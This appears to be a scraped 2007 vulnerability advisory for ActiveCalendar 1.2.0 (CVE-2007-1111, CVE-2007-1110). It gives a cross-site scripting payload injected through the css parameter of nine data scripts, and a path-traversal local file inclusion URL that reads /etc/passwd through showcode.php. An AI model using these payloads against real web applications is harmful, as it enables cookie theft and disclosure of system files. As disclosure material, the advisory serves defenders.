ActiveCalendar 1.2.0, Multiple vulnerabilities

2007.02.28

Credit: Simon Bonnard

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2007-1111 | CVE-2007-1110

CWE: N/A

ActiveCalendar 1.2.0, Multiple vulnerabilities
Vendor site : http://www.micronetwork.de/activecalendar/
Global risk : Critical

Multiples XSS :
---------------

/activecalendar/data/[page].php?css="><script>alert(document.cookie)</sc
ript>

In :

/data/
flatevents.php
js.php
mysqlevents.php
m_2.php
m_3.php
m_4.php
xmlevents.php
y_2.php
y_3.php

Local File Include :
---------------------

/activecalendar/data/showcode.php?page=../../../../../../../../../../../
../../../etc/passwd%00

Regards,

Simon Bonnard - 24/02/07 - 02:40am

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

ActiveCalendar 1.2.0, Multiple vulnerabilities

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.